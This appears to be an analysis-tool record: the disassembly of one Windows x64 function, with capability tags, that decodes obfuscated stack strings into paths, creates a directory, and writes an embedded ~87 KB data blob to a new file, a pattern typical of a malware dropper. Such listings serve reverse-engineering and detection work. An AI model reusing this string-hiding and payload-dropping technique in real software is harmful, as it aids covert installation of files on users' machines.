Function at 0x140042c40
Capabilities:
Contain obfuscated stackstrings
Create directory
Write file on windows

Disassembly:
push rdi
sub rsp, 0x500
lea rax, [rsp + 0x1e0]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov byte [rsp + 0x40], 0x21
mov byte [rsp + 0x41], 0
mov byte [rsp + 0x42], 0x10
mov byte [rsp + 0x43], 0x31
mov byte [rsp + 0x44], 0x25
mov byte [rsp + 0x45], 0x25
mov byte [rsp + 0x46], 0x19
mov byte [rsp + 0x47], 0x34
mov byte [rsp + 0x48], 0x1d
mov byte [rsp + 0x49], 0x26
mov byte [rsp + 0x4a], 0
mov byte [rsp + 0x4b], 0x1b
mov byte [rsp + 0x4c], 0x72
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0x40]
call fcn.1400072c0
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x100]
mov rax, qword [rax]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x118], rax
mov rcx, qword [rsp + 0x118]
call fcn.14001f190
lea rcx, [rsp + 0x1e0]
mov qword [rsp + 0x68], rcx
dec qword [rsp + 0x68]
inc qword [rsp + 0x68]
mov rcx, qword [rsp + 0x68]
cmp byte [rcx], 0
jne 0x140042d0a
mov rcx, qword [rsp + 0x68]
xor edx, edx
movzx edi, byte [rax + rdx]
mov byte [rcx + rdx], dil
inc rdx
test dil, dil
jne 0x140042d20
lea rcx, [rsp + 0x180]
call fcn.140002490
mov byte [rsp + 0x4d], 0x31
mov byte [rsp + 0x4e], 2
mov byte [rsp + 0x4f], 0x3a
mov byte [rsp + 0x50], 0x13
mov byte [rsp + 0x51], 0x1b
mov byte [rsp + 0x52], 0xb
mov byte [rsp + 0x53], 0x3a
mov byte [rsp + 0x54], 0xb
mov byte [rsp + 0x55], 0x3f
mov byte [rsp + 0x56], 0x13
mov byte [rsp + 0x57], 8
mov byte [rsp + 0x58], 0xd
mov byte [rsp + 0x59], 0x1b
mov byte [rsp + 0x5a], 0x25
mov byte [rsp + 0x5b], 0xb
mov byte [rsp + 0x5c], 0xa
mov byte [rsp + 0x5d], 0x15
mov byte [rsp + 0x5e], 0x29
mov byte [rsp + 0x5f], 0x14
mov byte [rsp + 0x60], 0x10
mov byte [rsp + 0x61], 0x25
mov byte [rsp + 0x62], 0x3c
mov byte [rsp + 0x63], 0x13
mov byte [rsp + 0x64], 0x11
mov byte [rsp + 0x65], 0x63
lea rdx, [rsp + 0x198]
lea rcx, [rsp + 0x4d]
call fcn.140007170
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x120]
mov rax, qword [rax]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x138], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x70], rax
dec qword [rsp + 0x70]
inc qword [rsp + 0x70]
mov rax, qword [rsp + 0x70]
cmp byte [rax], 0
jne 0x140042e19
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x138]
xor edx, edx
movzx edi, byte [rcx + rdx]
mov byte [rax + rdx], dil
inc rdx
test dil, dil
jne 0x140042e37
lea rcx, [rsp + 0x198]
call fcn.140002490
xor edx, edx
lea rcx, [rsp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rax, [rsp + 0x2f0]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov eax, 0x21
mov word [rsp + 0x88], ax
xor eax, eax
mov word [rsp + 0x8a], ax
mov eax, 0x10
mov word [rsp + 0x8c], ax
mov eax, 0x31
mov word [rsp + 0x8e], ax
mov eax, 0x25
mov word [rsp + 0x90], ax
mov eax, 0x25
mov word [rsp + 0x92], ax
mov eax, 0x19
mov word [rsp + 0x94], ax
mov eax, 0x34
mov word [rsp + 0x96], ax
mov eax, 0x1d
mov word [rsp + 0x98], ax
mov eax, 0x26
mov word [rsp + 0x9a], ax
xor eax, eax
mov word [rsp + 0x9c], ax
mov eax, 0x1b
mov word [rsp + 0x9e], ax
mov eax, 0x72
mov word [rsp + 0xa0], ax
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x88]
call fcn.1400076b0
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x140]
mov rax, qword [rax]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x158], rax
mov rcx, qword [rsp + 0x158]
call fcn.14001f188
lea rcx, [rsp + 0x2f0]
mov qword [rsp + 0x78], rcx
sub qword [rsp + 0x78], 2
add qword [rsp + 0x78], 2
mov rcx, qword [rsp + 0x78]
cmp word [rcx], 0
jne 0x140042f8b
mov rcx, qword [rsp + 0x78]
xor edx, edx
movzx edi, word [rax + rdx*2]
mov word [rcx + rdx*2], di
inc rdx
test di, di
jne 0x140042fa3
lea rcx, [rsp + 0x1b0]
call fcn.140007820
mov eax, 0x31
mov word [rsp + 0xa2], ax
mov eax, 2
mov word [rsp + 0xa4], ax
mov eax, 0x3a
mov word [rsp + 0xa6], ax
mov eax, 0x13
mov word [rsp + 0xa8], ax
mov eax, 0x1b
mov word [rsp + 0xaa], ax
mov eax, 0xb
mov word [rsp + 0xac], ax
mov eax, 0x3a
mov word [rsp + 0xae], ax
mov eax, 0xb
mov word [rsp + 0xb0], ax
mov eax, 0x3f
mov word [rsp + 0xb2], ax
mov eax, 0x13
mov word [rsp + 0xb4], ax
mov eax, 8
mov word [rsp + 0xb6], ax
mov eax, 0xd
mov word [rsp + 0xb8], ax
mov eax, 0x1b
mov word [rsp + 0xba], ax
mov eax, 0x25
mov word [rsp + 0xbc], ax
mov eax, 0xb
mov word [rsp + 0xbe], ax
mov eax, 0xa
mov word [rsp + 0xc0], ax
mov eax, 0x15
mov word [rsp + 0xc2], ax
mov eax, 0x29
mov word [rsp + 0xc4], ax
mov eax, 0x14
mov word [rsp + 0xc6], ax
mov eax, 0x10
mov word [rsp + 0xc8], ax
mov eax, 0x25
mov word [rsp + 0xca], ax
mov eax, 0x3c
mov word [rsp + 0xcc], ax
mov eax, 0x13
mov word [rsp + 0xce], ax
mov eax, 0x11
mov word [rsp + 0xd0], ax
mov eax, 0x3f
mov word [rsp + 0xd2], ax
mov eax, 0x28
mov word [rsp + 0xd4], ax
mov eax, 5
mov word [rsp + 0xd6], ax
mov eax, 0x1a
mov word [rsp + 0xd8], ax
mov eax, 0xb
mov word [rsp + 0xda], ax
mov eax, 0x22
mov word [rsp + 0xdc], ax
mov eax, 0x32
mov word [rsp + 0xde], ax
mov eax, 0x1d
mov word [rsp + 0xe0], ax
mov eax, 0x14
mov word [rsp + 0xe2], ax
mov eax, 7
mov word [rsp + 0xe4], ax
mov eax, 0x42
mov word [rsp + 0xe6], ax
mov eax, 0x2c
mov word [rsp + 0xe8], ax
mov eax, 0x25
mov word [rsp + 0xea], ax
mov eax, 0x2c
mov word [rsp + 0xec], ax
mov eax, 0x70
mov word [rsp + 0xee], ax
lea rdx, [rsp + 0x1c8]
lea rcx, [rsp + 0xa2]
call fcn.140007560
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x160]
mov rax, qword [rax]
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x178], rax
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0x80], rax
sub qword [rsp + 0x80], 2
add qword [rsp + 0x80], 2
mov rax, qword [rsp + 0x80]
cmp word [rax], 0
jne 0x140043224
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x178]
xor edx, edx
movzx edi, word [rcx + rdx*2]
mov word [rax + rdx*2], di
inc rdx
test di, di
jne 0x14004324d
lea rcx, [rsp + 0x1c8]
call fcn.140007820
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rsp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0xf8]
mov r8d, 0x155b4
lea rdx, [0x14008b220]
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x500
pop rdi
ret